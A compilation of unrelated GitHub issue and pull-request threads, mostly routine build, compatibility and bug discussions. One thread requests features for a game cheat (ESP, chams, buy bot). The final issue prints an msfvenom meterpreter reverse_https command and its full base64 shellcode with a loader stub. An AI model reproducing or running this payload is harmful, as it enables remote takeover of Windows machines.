Docker 1.12 compatibility tracking

Not adding links to avoid cross referencing issues to Docker repo until we go public.

[ ] Add Status field to VolumeDriver.Get response (PR #21006)
[ ] Mount/Unmount receives opaque ID (PR #21015)
[ ] Support "shared" volume. Add shared scope to VolumeDriver.Capabilities (PR #22077)

Update: None of these are available yet (till 1.12 is released) but we could develop at least the server and client side code till 1.12 is released.

Docker PR #21006 - provide a status of the volume.

On a Get() plugin needs to return a status of the volume, which may include whatever status that the plugin wishes to supply - create time options, attached status, attached-to-vm, created-by-vm.
ToDo:
Today plugin responds to Get() by doing list() to the server and returns the mountpoint for the specific volume. Since we maintain all volume meta-data on the server, we may need to add a "Get" request to the server to return this detail to the client.

Docker PR #22077 - Support a Capabilities() API in the plugin.

This API is called via the volume driver Scope() interface. Its optional. A plugin can support either "local" or "global" volumes (global - visible across a cluster). Used by cluster managers (for containers?) to decide whether volumes are available or not across a cluster.
Plugin can't support both scopes. If plugin doesn't support this method then the scope defaults to "local".
Todo:
Plugin client must be updated to include this API. Not sure if we want to say that we only support global or local volumes as we support both.
Will update on PR #21015.

Pulled the current go-plugin-helper and its not updated to support the new API either. How do we plan to get this beta?
I'll create separate issues for the two features above two.

Docker PR 21015
1.12 code has a new string ID passed on mount and unmount to match mount() and unmount() requests to the plugin. Docker is creating a unique ID per container thats using the same volume. All of the below are known to us, just noting it here info.
Todo:
a. The plugin needs to support the ID string on mount/unmount calls and remember the ID for each volume. Some thing like a insert into list and remove on mount/unmount calls with an ID.

Following are the key considerations for this issue:

We want to make sure Docker Volume Plugin for vSphere doesn't break if customer upgrades to Docker engine to 1.12

With docker 1.12 we are able to run the basic set of create/list/inspect/rm/attach/detach work flows without any errors.

Can we update our plugin code to support 1.12 so that we don't have to make a release once 1.12 becomes available

Yes, we can do this up front as suggested in earlier udpates. Though seems close for beta release.

If we do (2) then will plugin contiue to work with older version of Docker Engine

Unlike what I read in the code, the plugin API itself isn't changing because the API gets a request structure as argument and hence API remains the same. Handling of new additions to the request structure is left to the plugin.
For PRs #22077 and #21006, it seems not critical to implement these.
For PR #21015 though, we may want to support opaque ID for mount and unmount requests to avoid the bugs that this PR handles.

Thanks @govint for confirming Docker Engine upgrade to 1.12 won't have issues with this plugin.
Let's address 1.12 features, forward/ backward plugin compatibility post Beta.

Closing this issue as separate issues #524, #529 are tracking the individual docker 1.12 features. Will open a separate issue for tracking the unique ID for mount/unmount.


Fix each-subpath returning an empty string when used with a root path

Because it looks for any path separators, including the leading one in an absolute path, if you pass in an absolute path it will return "" as the first element of the array.
This PR fixes that and also adds some test cases to make sure it works.

Great, thank you.


how let go-wkhtmltopdf know where is wkhtmltox/pdf.h

hi man, sorry i dont where else to ask this, the repo where i used the wkhtmltopdf image not responding the issue.

RUN go mod vendor && go mod verify
RUN go build -o main .

EXPOSE 8080

CMD ["./main"]

which totally fine when i havent install https://github.com/adrg/go-wkhtmltopdf but when i install it and build again. its always throws this error error during docker build.
> [builder 7/7] RUN go build -o /app-bin /src/main.go:
#0 3.510 # github.com/adrg/go-wkhtmltopdf
#0 3.510 vendor/github.com/adrg/go-wkhtmltopdf/converter.go:7:10: fatal error: wkhtmltox/pdf.h: No such file or directory
#0 3.510     7 | #include <wkhtmltox/pdf.h>
#0 3.510       |          ^~~~~~~~~~~~~~~~~
#0 3.510 compilation terminated

do you know how to let the go compiler where the wkhtmltox is ?
i've stry specify cgo flags but still doesnt work
i really appreciate your answer,

I have the same problem

The solution I found was this:
Links:

https://github.com/adrg/go-wkhtmltopdf/wiki/Install-on-Linux
https://wkhtmltopdf.org/downloads.html

In this case it was simple, all that was missing was to install "wkhtmltox", I followed the documentation and it worked perfectly.
sudo apt-get install xfonts-75dpi
Download the corresponding file that is available at link 2
sudo dpkg -i wkhtmltox.deb
Remember to change "wkhtmltox.deb" to the full path to the previously downloaded package file
sudo ldconfig
After that I ran my system and it worked perfectly, the result is amazing, congratulations to everyone working on this project

This is the Dockerfile I am currently using.
FROM golang:bullseye
WORKDIR /app
RUN apt update && apt install xfonts-75dpi fontconfig libjpeg62-turbo libx11-6 libxcb1 libxext6 libxrender1 xfonts-base -y
COPY . .
# https://wkhtmltopdf.org/downloads.html
RUN dpkg -i ./wkhtmltox.deb
RUN ldconfig
RUN go build -o main cmd/server/main.go
CMD ["/app/main"]


Profile to spreadsheet

Added an operation to create spreadsheet from Profiles.
Given a path to FHIRSpec directories tooling creates a spreadsheet listing the profiles.
Added operation "-ProfilesToSpreadsheet" to create a spreadsheet from profile definitions.json files showing the StructureDefinitions and the element binding valuesets. The spreadsheet is output to:
getOutputPath() (which is passed in as a parameter) + separator + modelName + modelVersion + ".xlsx"
When the tests are run the spreadsheet should be produced: target/test-output/profileToSpreadsheet/QI Core Valueset Analysis10.xlsx.
Addresses ESAC Jira ticket CQF-1175 and CQF-1168.
Also address comments in PR #323 which can be removed when this is approved. This code is for the new tooling application, whereas that PR is for the old and no longer applicable.

[X ] I've read the contribution guidelines
[ X] Code compiles without errors
[ X] Tests are created / updated
[ X] Documentation is created / updated

By creating this PR you acknowledge that your contribution will be licensed under Apache 2.0

I cannot duplicate this error. I even tried a clean clone to a new directory, switched to this branch, and ran java -jar /Users/bryantaustin/test/cqf-tooling/tooling-cli/target/tooling-cli-2.2.0-SNAPSHOT.jar -ProfilesToSpreadsheet -ip=/Users/bryantaustin/Projects/FHIR-Spec -op=output/test -rp="4.0.1;US-Core/3.1.0;QI-Core/4.1.0" -sp=true -mn=QICore -mv=4.1.0 all from the command line to remove any IntelliJ contamination. And it produced the spreadsheet I would have expected.
That error points to line 21 where the profileToSpreadsheet operation is called. Within the operation, I THINK, the only file i/o occurs in ProfilesToSpreadsheet.writeSpreadSheet() and that has a try catch around all file io.

Closing this as superseded by #416


Pacman

Description
A simple implementation of the original PacMan in python using the PyGame library
Fixes #524
Type of change

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Documentation Update

Checklist:

[x] I have named my files and folder, according to this project's guidelines.
[x] My code follows the style guidelines of this project.
[x] My Pull Request has a descriptive title. (not a vague title like Update index.md)
[x] I have commented on my code, particularly in hard-to-understand areas.
[x] I have created a helpful and easy to understand README.md, according to the given README_TEMPLATE.
[x] I have included a requirements.txt file (if external libraries are required.)
[x] My changes do not produce any warnings.
[x] I have added a working sample/screenshot of the script.

The bot is pointing out indentation errors in comments.. Should I change that?

The bot is pointing out indentation errors in comments.. Should I change that?

I fixed it

@all-contributors please add @ritik-malik for code


ConnectionError

Your Environment

Add-on name: [e.g. Jiotv]
Add-on version: [e.g. 2.0.0]
Kodi version: [e.g. Kodi 19]
Operating system version/name: [e.g. Windows 10, LibreElec 9.0, etc...]
Using from country: [eg. India, USA, etc...]

Describe the bug
A clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:

Go to '...'
Click on '....'
Scroll down to '....'
See an error

Expected behavior
A clear and concise description of what you expected to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
Additional context
Add any other context about the problem here.
Debug log

The debug log can be found from this link:
https://user-images.githubusercontent.com/41487075/131339976-397da250-ab44-49e5-a0b0-abbaaed5839d.mp4

this will be fixed soon this is a problem from jio TV itself
for some reason it has been happening often
but if you want to fix rn it you need to change your DNS server
to cloudflare DNS server
it is 1.1. 1.1 and 1.0. 0.1

thanks, bro now it's properly working...

yep it's fixed now did you change your DNS or it automatically got fixed @Bhavin213

no, I change the DNS

yep it's fixed now did you change your DNS or it automatically got fixed @Bhavin213
no, I change the DNS

yep it's fixed now did you change your DNS or it automatically got fixed @Bhavin213
no, I change the DNS

oh ok ok


Add mathjax for MAE to both standard and pandas APIs

Fixes #465

Fixes #465

Looks fine to me. Just an optional suggestion to use \text{...}_i for forecast, observations but it doesn't really matter too much.


Feature Request: Templates should detect if tiller is running on minikube

Output of helm version:
Client: &version.Version{SemVer:"v2.12.0", GitCommit:"d325d2a9c179b33af1a024cdb5a4472b6288016a", GitTreeState:"clean"} Server: &version.Version{SemVer:"v2.12.0", GitCommit:"d325d2a9c179b33af1a024cdb5a4472b6288016a", GitTreeState:"clean"}
Output of kubectl version:
Client Version: version.Info{Major:"1", Minor:"13", GitVersion:"v1.13.0", GitCommit:"ddf47ac13c1a9483ea035a79cd7c10005ff21a6d", GitTreeState:"clean", BuildDate:"2018-12-03T21:04:45Z", GoVersion:"go1.11.2", Compiler:"gc", Platform:"linux/amd64"} Server Version: version.Info{Major:"1", Minor:"10", GitVersion:"v1.10.0", GitCommit:"fc32d2f3698e36b93322a3465f63a14e9f0eaead", GitTreeState:"clean", BuildDate:"2018-03-26T16:44:10Z", GoVersion:"go1.9.3", Compiler:"gc", Platform:"linux/amd64"}
Cloud Provider/Platform (AKS, GKE, Minikube etc.):
Minikube
It would be great if templates could know if their node is minikube or not. Something like .Capabilities.TillerVersion.NodeName. This may seem evil at first, but when developing locally one may want to use a special NFS server or a special DB or something else different that on a real Kubernetes cluster.
Or maybe a way for the template to query an existing configmap on the cluster itself.

Dupe of https://github.com/helm/helm/issues/2055


[ReportingWidgets] Fixed text overflow

Fixed text overflow ellipses not triggering when shrinking the widgets.

Please provide before and after screenshots.


Bad results

@timy90022
I had tried your model in coco valid 2014 set.
and the results are not good.
for example this image:

@trungpham2606 One-shot object detection is currently a very challenging problem and the research is still ongoing. The main challenge is that it is hard to detect the query object that is unseen in training/testing data. Therefore it could be difficult to work well for all unseen query objects. And for this case, it reveals the other challenge that the model should also know the query object is not in the target image. However the current evaluation protocol does not have the standard to evaluate this kind of "false positive". Therefore In our paper, we simplify the problem and assume at least one query object is included in the target image. If the query object does not exist in the target image, our model will detect objects that is the most similar to the query objects. Thanks for playing around our code!

@timy90022 Oh i see, thank you for your prompt response!


feat: Override entry_points in multitest helpers

Part of #189

In general looks fine, but I am not sure what happens if you overwrite the entry point which has messages defined on the contract?
What should happen is that it should use the overwritten entry point, end every definition of message related to the entry point should emit a warning that entry point is overwritten.
What I would like at least is the test case for this situation - eg contract with execution overwritten and some #[msg(exec)] things, and then some MT verifying the overwritten one is executed.

Done, but I took another approach and let the user to decide. User can still use generated messages but need to provide own dispatch logic.


[C++] Another msg type's LoopPublisher doesn't publish with same period

Only First created loop publisher is able to send messages.
Suspected causes:

Error in identifying the publisher object when creating a publisher
Inadequate exception handling timer object when a period already exists

fix #1
add new var to class PublishNode :
std::map<std::pair<std::chrono::milliseconds, std::string>, std::function<void()>> m_timerCallbacks;
it supports period-typeName pair timer callback.


Disabling all org auth options but keeping whitelisted emails displays signup page

STR

Set a email domain in an organization authentication whitelist.
Disable all authentications options (password, Google, Github) from the organization.
Go to organization /signup page. It should probably* display a 404 error but it displays the form.

Note: clearing the whitelist field works as expected (404).
Fixes:

[ ] Display a 404 in that case.
[ ] Don't allow saving with whitelisting but without authentication alternative, it's incoherent.

Note: don't forget checking that fixing this doesn't break invitations.
cc @CartoDB/builder-backend @MariaCheca

The whitelist shouldn't be considered if no auth options are set IMO. Could this be a backend problem?

Yes, it is. IMHO we should do both listed tasks.


Add post conditions for Farmer

Currently, recruiting farmers result in unsecure transactions.

Yeah, I've been procrastinating on adding them becuase SIP13 post-conditions are still a little intimidating to me.
I'm guessing it's just all the sip9 and sip10 transfers, all together?

@friedger if you do know how to implement SIP13 postconditions (for the NFT part) i could use some pointer.
I've tried applying different combinations of will-send and not-will-send but haven't had luck yet.
if (hasLands) postConditions.push(Pc.principal(sender).willSendAsset().nft(landNftKey, uintCV(metadata.id)))
if (hasLands) postConditions.push(Pc.principal(sender).willNotSendAsset().nft(landNftKey, uintCV(String(metadata.id))))

Okay! found the issue.
SIP13 tokens have a non-standard token-id (tuple) and I was still applying the standard uint id instead.


Class C Downlink over OTAA (TTN)

From what I've read on other issues, class C downlink issues should have been solved in 2.0? However, with my device, using an RFM95x chip on ESP32 I'm only able to receive downlink messages using ABP, not over OTAA. It would obviously be preferable to use OTAA.
I'm wondering if there is something wrong with my code or if it could be buggy? I've tried SF7, SF9 and SF12, and the most reliable seems to have been SF7, that is to join TTN. None of them gave me a downlink message.
#include <Arduino.h>
#include <lora.h>
#include <lorawan.h>

// OTAA credentials
const char *devEui = "";
const char *appEui = "";
const char *appKey = "";

const unsigned long loraInterval = 20 * 1000;    // 10 s interval to send message
unsigned long loraPreviousMillis = 0;  // will store last time message sent
unsigned int loraCounter = 0;     // message counter

char myStr[50];
char outStr[255];
byte recvStatus = 0;

const sRFM_pins RFM_pins = {
  .CS = 5,
  .RST = 14,
  .DIO0 = 2,
  .DIO1 = 12,
  .DIO2 = -1,
  .DIO5 = -1,
};

void setupLoRa() {
    if(!lora.init()){
        Serial.println("[LoRa] RFM95 not detected");
        delay(5000);
        return;
    }

    // Set LoRaWAN Class change CLASS_A or CLASS_C
    lora.setDeviceClass(CLASS_C);

    // Set Data Rate
    lora.setDataRate(SF7BW125);

    // set channel to random
    lora.setChannel(MULTI);

    // Put OTAA Key and DevAddress here
    lora.setDevEUI(devEui);
    lora.setAppEUI(appEui);
    lora.setAppKey(appKey);

    // Join procedure
    bool isJoined;
    do {
        Serial.println("[LoRa] Joining over OTAA...");
        isJoined = lora.join();

        //wait for 10s to try again
        delay(10000);
    }while(!isJoined);
    Serial.println("[LoRa] Joined a network");
}

void LoRaLoop() {

  // Check interval overflow
  if(millis() - loraPreviousMillis > loraInterval) {
    loraPreviousMillis = millis();
    Serial.println("[LoRa] Sending lora message");

    sprintf(myStr, "Counter-%d", loraCounter);

    lora.sendUplink(myStr, strlen(myStr), 0, 1);
    loraCounter++;
  }

  recvStatus = lora.readData(outStr);
  if(recvStatus) {
    Serial.print("====>> ");
    Serial.println(outStr);
  }

  // Check Lora RX
  lora.update();
}

did you fix the issue fanzypantz?
can you please share if it was fixed because I am having the same issue.

did you fix the issue fanzypantz? can you please share if it was fixed because I am having the same issue.

Hi, I don't think I ever managed to get proper Class C communication using the existing easy to use libraries to work at that time. And we moved away from using LoRaWan. Good luck.


Rename "Collaborate" page to "Participate"

Also needs to be updated in the FAQ under "How do I contribute information?" when this gets updated.

Done.


Predicted price is far different from actual price

Hi Hong,
I tried the project with IBM, the result is amazing. However, when I tried with other stock, e.g. AAPL, the predict price is much lower than actual price.
What would I do to make the predict price is closer to actual price? what line of code should I take a look at to make the adjustment?
Thank you,
Mark

Hi @markcomfresh, a few things I would try and check are:

tune the hyperparameters
check the data (both X and Y) are correctly formated
try build new model architecture

Hey Jingles,
at first, nice work!
I tested out on a lot of stocks, and I am facing the same difference as markcomfresh does. But I also see the reason why, cause if I check the plot for training and validation it's the most time, that the training datas are from the time before the "massive overvalued bull run" began in stock market, and the most validation datas are from the "massive overvalued bull run".
I found out how to change the time range of the training data, but didn't find to mix them up or cut them in smaller slices. So the model also includes some validation datas before run up and some training datas from run up.
Would be really happy if you could help me to find a way to split this a bit more.
Regards
Alex

That's what I thought was possibly happening! How can I separate out my training and validation like that? I want to have an ai for the SP 500 so I am trying it on SPY and it is half the price it should be. Also, is there a way to download the trained model so I don't need to go through the epochs each time? Can I then just have python pull up the trained file and run it?  How can I add more data to the model such as RSI, Inflation, and so on?

Also, what does it hurt to add more layers and epochs? Is overfitting the greatest danger?


ignore install-yaml secret

Signed-off-by: John Swanke<EMAIL_ADDRESS>https://github.com/stolostron/backlog/issues/25307

/cc @jeswanke

/cherry-pick main

/hold

/lgtm

/unhold


Format activity time

Closes #16
Before:

After:

@rithviknishad That broke the timestamp for the EOD Messages (Slack Data)


Cannot cross compile with Windows.h (uppercase W) includes

I'm currently cross compiling qpdf from a docker container based on dockcross and MXE. Everything works (I had to pull pcre & zlib, but that's another topic) however there is an error at the compilation stage because some includes are in the form
#include <Windows.h>

and due to the fact that on Linux it's case sensitive, it fails. I have created a patch to solve this issue that I will attach as a pull request to this ticket.

Pull request attached.


x/website:misspelling on binary package documentation

https://golang.org/pkg/encoding/binary/
Under the first section, "Overview", "variant" is spelled "varint":

Package binary implements simple translation between numbers and byte sequences and encoding and decoding of varints.

Actually, it is not a misspelling, but the documentation is referring to "var ints"


update query for get daily operation

Coverage remained the same at 75.873% when pulling 285b3801f85919102077c6a17373756cb202e3da on indriHutabalian:dev into df44822fa5e378ac4ca643b0d4cdd90da21249a3 on danliris:dev.


CI: add open_posix support on sim

Signed-off-by: nietingting<EMAIL_ADDRESS>Summary
add open_posix on sim ci
Impact
ci
Testing
test on local

@ttnie any idea why CI is failing? I restart the failing jobs and the issue remains.

I also see warning: (SYSTEM_PING) selects NETUTILS_PING which has unmet direct dependencies (NET_ICMP)

+ python3 -m pytest -m 'common or sim' ./ -B sim -P -L /github/workspace/sources/nuttx/boards/sim/sim/sim/configs/citest/logs/sim/sim -R sim -C --json=/github/workspace/sources/nuttx/boards/sim/sim/sim/configs/citest/logs/sim/sim/pytest.json
ERROR: usage: __main__.py [options] [file_or_dir] [file_or_dir] [...]
__main__.py: error: argument -P: expected one argument

@ttnie any idea why CI is failing? I restart the failing jobs and the issue remains.
from the failures, looks like the LTP build break. Which not reproduced on my local host.

t

build citest bb, can't find the test image, so run case failed.

I also see warning: (SYSTEM_PING) selects NETUTILS_PING which has unmet direct dependencies (NET_ICMP)

I'll try locally

close, already add.


x-init is executed before x-load-js, is there any hook after loading successfully?

x-init is executed before x-load-js, is there any hook after loading successfully?

No there is no hook (yet :)
Can you add next tick, or a timeout delay to resolve your issue?


Use white for invalid textures in release builds

To minimize the visual impact of textures that are broken or possibly still loading, release builds should create dummy textures filled with white (currently they are black).
We could make these textures a more distinct color for debugging purposes in non-release builds. Some game engines prefer a bright pink ;)

+1

Instead of showing a placeholder color for missing textures, the engine now skips rendering any meshes that depend on an unavailable texture.

This is also Tangram JS behavior FYI.
On Mon, Feb 11, 2019 at 1:35 PM Matt Blair<EMAIL_ADDRESS>wrote:

Instead of showing a placeholder color for missing textures, the engine
now skips rendering any meshes that depend on an unavailable texture.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/tangrams/tangram-es/issues/813#issuecomment-462441988,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AABBXWa83fehQXOKLTXuoQmm9f5ovnLnks5vMbf-gaJpZM4JGRbY
.


Laravel Updater

This pull request includes updates for the recent minor version release of Laravel as well as updates to your package dependencies. Feel free to commit any additional changes to the shift-ci-v7.10.0 branch.
Before merging, you need to:

Checkout the shift-ci-v7.10.0 branch
Review all pull request comments for additional changes
Run composer update
Test your application (no tests?)

:information_source: You are running an older version of Laravel. The latest version is 7.10.1. Run the Laravel 7.x Shift to upgrade to the latest version of Laravel.

:warning: You are running version 5.3.4 of guzzlehttp/guzzle. The latest version is 6.5.3. You should review this dependency to see if you can upgrade to the latest version.

:warning: You are running version 0.14.0 of league/fractal. The latest version is 0.19.2. You should review this dependency to see if you can upgrade to the latest version.

:warning: You are running version 1.0.10 of laravel/tinker. The latest version is 2.4.0. You should review this dependency to see if you can upgrade to the latest version.

:warning: You are running version 3.9.3 of ramsey/uuid. The latest version is 4.0.1. You should review this dependency to see if you can upgrade to the latest version.


Features that could improve the cheat

allow us to bind esp/glow/chams so we can toggle it / hold it

Footstep esp : Incredibly legit feature and pretty helpful too, I think this definitely beats the esp feature draw while they're making noise because that feature gets kinda glitched out when someone shoots with an awp seeing the fact the awp has a long sound duration : https://www.youtube.com/watch?v=lqBxz0JzU7I
the feature(s) below is/are not necessary but would be helpful:

Standalone RCS(there is already a pull request for this so anyone can easily just use it)
this is it for now, If you guys have any suggestions , feel free to post it below

Auto buy bot. (for deathmatch and mm)

Auto buy bot. (for deathmatch and mm)

a buybot is only really useful in hvh

Auto buy bot. (for deathmatch and mm)

a buybot is only really useful in hvh

yeah a buy bot isn't a helpful adition at all unless ur using the cheat for hvh purposes

yeah a buy bot isn't a helpful adition at all unless ur using the cheat for hvh purposes


Removed stray mentions of lancet

Lancet was an optional dependency for pip, but became a required dependency for conda when the conda-forge recipe was created.  For clarity, especially while lancet is only available for some platforms, make sure that it's not included in anything but documentation.

Looks good to me.

It's hard to see how this PR could have affected the error that I can see on Travis for 2.7:
FAIL: test_Elements_display_050 (__main__.NBTester)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/travis/build/ioam/holoviews/doc/nbpublisher/nbtest.py", line 520, in data_comparison
    raise e
AssertionError: Display output mismatch: '[Display 50]

<img src='dat...' != '[Display 50]

<img src='dat...'

Looks good, merging.


HHH-12059 HHH-11440 HHH-11286 HHH-10333 -

bm2ddl.auto=update and update do not work with Oracle and SQLServer when Jdbc driver Connection implementation does not implement getSchema()
The issue is related with the SchemaNameResolver, if the Connection implementation does not implement the getSchema() method introduced with Java 7, but at runtime the jdbcConnectionClass.getMethod( "getSchema" );  may return not null ( I think depends on the JRE version used) and then when the
getSchemaMethod.invoke( connection ) is later executed an exception is thrown.
This is causing issues with the InformationExtractorJdbcDatabaseMetaDataImpl#getTables() method, due to the previous behaviour the value of the schemaFilter in
extractionContext.getJdbcDatabaseMetaData().getTables(
					catalogFilter,
					schemaFilter,
					"%",
					tableTypes
			);

is an empty string causing the search to be limited to tables with no schema.
.

Applied upstream, thanks


"trim() expects parameter 1 to be string, object given",

Error when passing a function as part of the filter parameters:
"trim() expects parameter 1 to be string, object given",
on file:
vendor/agog/osmose/src/Library/Services/Sift.php line 24;
 'payment_state' =>  function ($value, $query) {                 if($value === 'paid') {                     return $query->whereHas('payments');                 } else if($value === 'unpaid') {                     return $query->whereDoesntHave('payments');                 }             }

Hey @makobongo. Apologies for the delayed response, I must've missed the notification.
Given the code sample you have provided, you seem to have interchanged the function arguments. The query builder comes first, then the value.


CallBack_filler error

Hi
I am getting a cache error even after the http response has been sent
/*/node_modules/cache-manager/lib/callback_filler.js:9
waiting.forEach(function(task) {
^
TypeError: Cannot read property 'forEach' of undefined
at CallbackFiller.fill (//node_modules/cache-manager/lib/callback_filler.js:9:12)
at //node_modules/cache-manager/lib/caching.js:117:44
at nextTickCallbackWith0Args (node.js:419:9)
at process._tickDomainCallback (node.js:389:13)
Not sure if it is because of cache-manager or not.
Can you kindly help.

I've seen this before but don't remember what caused it.  Can you narrow down the code that reproduces the error?

I did narrow it down. Let me give you some background.
I have been using this as a layer between api-router & db.js. Multiple api calls use this cache. I am using  memoryCache.wrap() function to cache the request. But what is surprising, even if i disable the cache, it still raises exception.
We can take this conversation offline also, if you prefer.
Thanks for the help though.

Resolved it.

Cool.  Was it related to the cache?

It was related to the application, where the return statement isn't provided after the data retrieval. Hence the code continues to execute and the item gets cached twice. I think there should be an error handling in the cache module to handle that, rather than making the app crash.

Good idea.  This is fixed in version 2.1.2 now.  Thanks!


Pet Image Picker Web App

Describe the feature
Replace the GUI program with a web application for the pet image picker.

git fetch origin
git checkout 17-pet-image-picker-web-app


Switch to using pkg/cache instead of the hashicorp cache

We want to converge our cache uses on the pkg/cache package as opposed to external cache packages (our is faster and exposes some stats)
This is in reference to the code in evaluator.go which calls lru.New

This is slated to go away as part of switch to the runtime2.

That code is gone now. We do not do caching at the expression level.


Uncaught TypeError: Failed to construct 'HTMLElement': Please use the 'new' operator, this DOM ob...

[Enter steps to reproduce:]

I used the script below ... I'm new to atom development and I was checking to see if using custom elements in the init.coffee script worked. Below in step 2 is the code I have in the file.

class MyElement extends HTMLElement
  constructor: () ->
    super;
    this.style.position = "fixed";
    this.style.zIndex = "100";
    this.style.width = "50px";
    this.style.height = "50px";
    this.style.margin = "50px";
    this.style.padding = "10px";
    this.style.borderRadius = "100%";
    this.style.backgroundColor = "red";
  connectedCallback: () ->
    console.log(this);

customElements.define("pio-game", MyElement);

atom = document.querySelector("atom-workspace");
myCE = document.createElement("pio-game");

atom.appendChild(myCE);

I ran the above code and the error prompt asked me to send this your way ... so I did.
Atom: 1.44.0 x64
Electron: 4.2.7
OS: Microsoft Windows 10 Home
Thrown From: Atom Core
Stack Trace
Uncaught TypeError: Failed to construct 'HTMLElement': Please use the 'new' operator, this DOM object constructor cannot be called as a function.
At C:\Users\steve\.atom\init.coffee:3

TypeError: Failed to construct 'HTMLElement': Please use the 'new' operator, this DOM object constructor cannot be called as a function.
    at new pioGame (~/.atom/init.coffee:3:5)
    at Object.<anonymous> (~/.atom/init.coffee:18:19)
    at Object.<anonymous> (~/.atom/init.coffee:1:1)
    at Object.<anonymous> (~/.atom/init.coffee:1:1)
    at Module.get_Module._compile (~/AppData/Local/atom/app-1.44.0/resources/app/static/<embedded>:11:147429)
    at Object.value [as .coffee] (~/AppData/Local/atom/app-1.44.0/resources/app/static/<embedded>:11:150977)
    at Module.load (internal/modules/cjs/loader.js:602:32)
    at tryModuleLoad (internal/modules/cjs/loader.js:541:12)
    at Function.Module._load (internal/modules/cjs/loader.js:533:3)
    at Module.require (/app.asar/static/index.js:72:46)
    at require (internal/modules/cjs/helpers.js:20:18)
    at customRequire (~/AppData/Local/atom/app-1.44.0/resources/app/static/<embedded>:1:734076)
    at AtomEnvironment.requireUserInitScript (~/AppData/Local/atom/app-1.44.0/resources/app/static/<embedded>:1:763912)
    at t.loadState.then (~/AppData/Local/atom/app-1.44.0/resources/app/static/<embedded>:1:756320)

Commands

Non-Core Packages
atom-material-syntax 1.0.8

I don't think it was my code, although it isn't exactly correctly formatted coffee script 🥇 ...
I did go ahead and rewrite the code so it looks like this now...am I just missing something?
class MyElement extends HTMLElement
  constructor: ->
    super()
    @ready = true;

customElements.define("pio-game", MyElement);

atom = document.querySelector("atom-workspace");
myCE = document.createElement("pio-game");

atom.appendChild(myCE);


Calling getSheetCount when no sheets results in a return of the LabelExcelWriter object

When you create a new Excel file without adding sheets and then calling the $excel->getSheetCount() results in a return of the object LaravelExcelWriter but you would expect an integer.
The problem is on line 625 in LaravelExcelWriter.php. The problem is that there can be 0 elements which will return an LaravelExcelWriter object.

Why would you want to call getSheetCount without adding sheets?


SGX signing provider

It could be good to have it as a middle-ground between HSM and software-only providers: https://github.com/tendermint/kms#signing-providers

Rust has excellent support for SGX thanks to a ton of amazing work by people at Fortanix (cc @jethrogb). In fact, you should be able to make an experimental SGX build of the KMS by installing their Rust target and compiling the KMS to target it:
https://twitter.com/i/web/status/1154521721979846657
As it were, we (as in iqlusion) are going through the Intel SGX whitelisting process so we can sign enclaves. When we're through the SGX whitelisting process we'll look into what it takes to make a signed production release of Tendermint KMS that does softsign-in-SGX.

Some extra thoughts:

In Fortanix's EDP, one communicates with the enclave code over byte streams -- so either the SGX signing provider can be executed in a separate process and KMS would talk to it over TCP, or one would need to implement user call extensions https://edp.fortanix.com/docs/api/enclave_runner/usercalls/index.html
Keygen should be done inside an enclave -- generated secrets would ideally be sealed: https://edp.fortanix.com/docs/examples/sealing/


Add optional timestamp to settlePerson

Closes #102

@jedkohjk i've approved this PR, could you help take a look at the merge conflicts? Thanks!


Trying to apply a job which already exist fails with "JSON parse error"

The job was not being imported because it did not have the kubectl.kubernetes.io/last-applied-configuration annotation (because of the kubectl replace usage).
It failed with:
github.com/kbst/terraform-provider-kustomize/kustomize.kustomizationResourceUpdate: JSON parse error: unexpected end of JSON input

Would it be possible to have a more simple human readable message?
Thanks for this project!

I'm currently just returning the error from the Go JSON parser. Not optimal, I agree. If somebody wants to take a shot at improving this, I'd happily accept a PR.

The provider returns a more useful message now: https://github.com/kbst/terraform-provider-kustomization/blob/master/kustomize/resource_kustomization.go#L416-L421


The input data is not a complete block.

hi,
actually i do
msfvenom --platform windows --arch x64  -p windows/x64/meterpreter/reverse_https LHOST=<IP_ADDRESS> LPORT=443 -f raw -o test.bin
cat test.bin | base64 -w0
/EiD5PDozAAAAEFRQVBSUUgx0mVIi1JgSItSGEiLUiBWTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheWUgB0FpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6A0AAAAxOTIuMTY4LjEuNzAAWkiJwUnHwLsBAABNMclTU2oDU0m6V4mfxgAAAAD/1ejuAAAAL3ktUmVHN0hBS3FMc09lMDdqOFUxS0F5VE1oMzZYM0xha1h0MnFPNVhlMGZRalZKSTMtTi1LSEp2UkgwcTlyZGJxcHZHSnR1YWZKdzBqYjJxanp4UVRULVMwSGFCTGFlUnpQdnFiSXV0azhEWVZrQ0M2LXlDaUh3U2UzZmpoUVJrOGp4YmM5RnpUaGh4WHZpVDhyZXk4X2Q4R2ZBZUNRZkdJVU8wOHFwOWlHR1pTNjI0U3dTaUhjaGJ2RFFCVV9IYXp2dVNzUzVCYjdZS1pEcGU0MXQ3Tjl4dlR3aWJEQmZOc0laZUlISWlfWVlhAEiJwVNaQVhNMclTSLgAMqiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX0iJ8WofWlJogDMAAEmJ4GoEQVlJunVGnoYAAAAA/9VNMcBTWkiJ8U0xyU0xyVNTScfCLQYYe//VhcB1H0jHwYgTAABJukTwNeAAAAAA/9VI/890Auuq6FUAAABTWWpAWkmJ0cHiEEnHwAAQAABJulikU+UAAAAA/9VIk1NTSInnSInxSInaScfAACAAAEmJ+Um6EpaJ4gAAAAD/1UiDxCCFwHSyZosHSAHDhcB10ljDWGoAWUnHwvC1olb/1Q==
then copy this base64 string at line 548 of Program.cs code:
static void Main(string[] args)
{
string key = "CiaoGrande";
byte[] keyAes = GetSha256(key);
